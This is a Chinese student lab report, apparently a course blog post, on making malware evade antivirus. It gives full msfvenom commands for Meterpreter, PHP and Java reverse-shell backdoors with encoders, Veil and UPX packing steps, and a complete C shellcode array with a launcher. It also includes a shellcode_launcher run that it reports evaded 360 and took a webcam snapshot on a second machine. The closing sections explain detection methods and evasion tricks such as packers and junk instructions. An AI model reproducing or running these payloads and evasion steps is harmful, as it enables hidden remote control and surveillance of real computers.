网络对抗技术Exp3 免杀原理与实践

一、实践内容

  • 免杀技术

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实践过程

1 免杀技术

VirusTotal, 是一个提供免费的可疑文件分析服务的网站。
免杀测试平台

1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

1.1.1 检测实验二中生成的的后门程序

检出率为54/69≈0.782

1.1.2 使用Unicode编码一次,进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.112.130 LPORT=1313 -f exe > backdoor1.exe

检出率为52/69≈0.753

1.1.3 编码多次(13次),进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -13 -b ‘\x00’ LHOST=192.168.112.130 LPORT=1313 -f exe > backdoor2.exe

参数

-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数

编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性。

检出率53/70≈0.757

1.1.4 利用php格式文件,进行检测

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.112.130 LPORT=1313 x> backdoor_php.php

检出率为22/56≈0.392

1.1.5 利用jar文件,进行检测

msfvenom -p java/shell_reverse_tcp LHOST=192.168.112.130 LPORT=1313 -f jar > backdoor_jar.jar

检出率39/61≈0.639


1.2 veil,加壳工具

1.2.1 安装工具命令行sudo apt-get install veil-evasion


1.2.2 安装设置

下载成功后,进入root模式,修改setup.sh第260行代码:

cd /usr/share/veil/config
vim setup.sh
进入命令行模式输入 set nu 显示行数

将框中代码替换为sudo git clone https://gitee.com/spears/VeilDependencies.git

修改成功后输入veil进行安装

出现问题的话可以先跳过(或者取消),然后再次运行veil,根据提示输入相应的命令就能正常安装

安装成功


1.2.3 使用veil工具(这里由于出现某些bug重启了虚拟网络编辑器,kali的ip发生了变化)

veil
use evasion                      //进入Evil—Evasion
use c/meterpreter/rev_tcp.py     //进入配置界面
set LHOST 172.20.10.13         //设置反弹链接ip,此处为Kali的ip
set LPORT 1313                   //设置端口
generate

检出率38/68≈0.558

1.2.4 免杀加壳尝试

加壳是对相应的资源进行压缩,压缩后仍可运行。加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。

加壳指令:upx 20191313veil.exe -o 20191313_veil_upx.exe

检出率35/67≈0.522,有所降低

1.3 使用C + shellcode编程

1.3.1 使用msfvenom得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.13 LPORT=1313 -f c

点击查看代码
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x50\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x14\x0a\x0d\x68\x02"
"\x00\x05\x21\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

1.3.2 编辑c文件

vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }

1.3.3 编译成可执行文件

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

1.3.3 对恶意代码进行检测

检出率33/68≈0.485,可以看到检出率有明显的下降

2 通过组合应用各种技术实现恶意代码免杀

这里使用到一个程序shellcode_launcher 下载地址:https://github.com/clinicallyinane/shellcode_launcher

2.1 用msf生成后门文件20191313.raw。注意:此处的地址为kali机的地址

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=172.20.10.13 LPORT=1313 -f raw -o 20191313.raw

2.2 开启msf监听(步骤同实验二)

2.3 windows运行程序

shellcode_launcher.exe -i 20191313.raw

成功控制windows

并且运行时安全电脑管家没有提示,免杀成功

杀毒软件版本

对程序检测,检出率为12/57≈0.210

3 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

使用另一台电脑运行程序

运行命令获取目标主机摄像头webcam_snap

在win7虚拟机中使用360管家对程序进行查杀,没有问题

360管家版本


三、基础问题回答

1 杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
    过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库

  • 启发式恶意软件检测
    就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
    优点:可以检测0-day恶意软件、具有一定通用性
    缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高

  • 基于行为的恶意软件检测
    相当于是启发式的一种,或者是加入了行为监控的启发式
    通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。


2 免杀是做什么?

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。


3 免杀的基本方法有哪些?

  • 加冷门壳
    举例来说,如果说程序是一张烙饼,那壳就是包装袋,可以让你发现不了包装袋里的东西是什么。比较常见的壳一般容易被杀毒软件识别,所以加壳有时候会使用到生僻壳,就是不常用的壳。去买口香糖你会发现至少有两层包装,所以壳也可以加多重壳,让杀毒软件看不懂。如果你看到一个袋子上面写着干燥剂、有毒之类的字你也许就不会对他感兴趣了吧,这就是伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测。

  • 加壳改壳
    加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的,但这种技术只有熟悉汇编语言的人才会,这种免杀方法高效可以一口气过众多杀软也是免杀爱好者应该学会的一种技术。

  • 加花指令
    加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。加花以后,一些杀毒软件就检测不出来了,但是有些比较强的杀毒软件,病毒还是会被杀的。这可以算是“免杀”技术中最初级的阶段。

  • 改程序入口点
    修改程序入口点


4 开启杀软能绝对防止电脑中恶意代码吗?

从实验过程可以发现,开启杀软后不能百分之百防止电脑中恶意代码,一些带有恶意代码的程序还是可以躲过杀软的检测。


四、总结与体会

通过这次实验让我意识到了我们常常依赖的杀毒软件也不是那么可靠,并不能将所有的恶意文件识别并且拦截下来。而在日常生活中,我们往往自以为安装了杀毒软件就万事大吉,反而降低了警惕性,更容易出现安全问题。
因此,我们不能完全依赖于杀毒软件,更应当提高安全防范意识,有意识地防范病毒、木马等等的入侵。同时也要定期对自己电脑防火墙的相应安全设置进行检查,及时更新软件,提高安全性。

posted @ 2022-04-07 18:57  djx20191313  阅读(307)  评论(0编辑  收藏  举报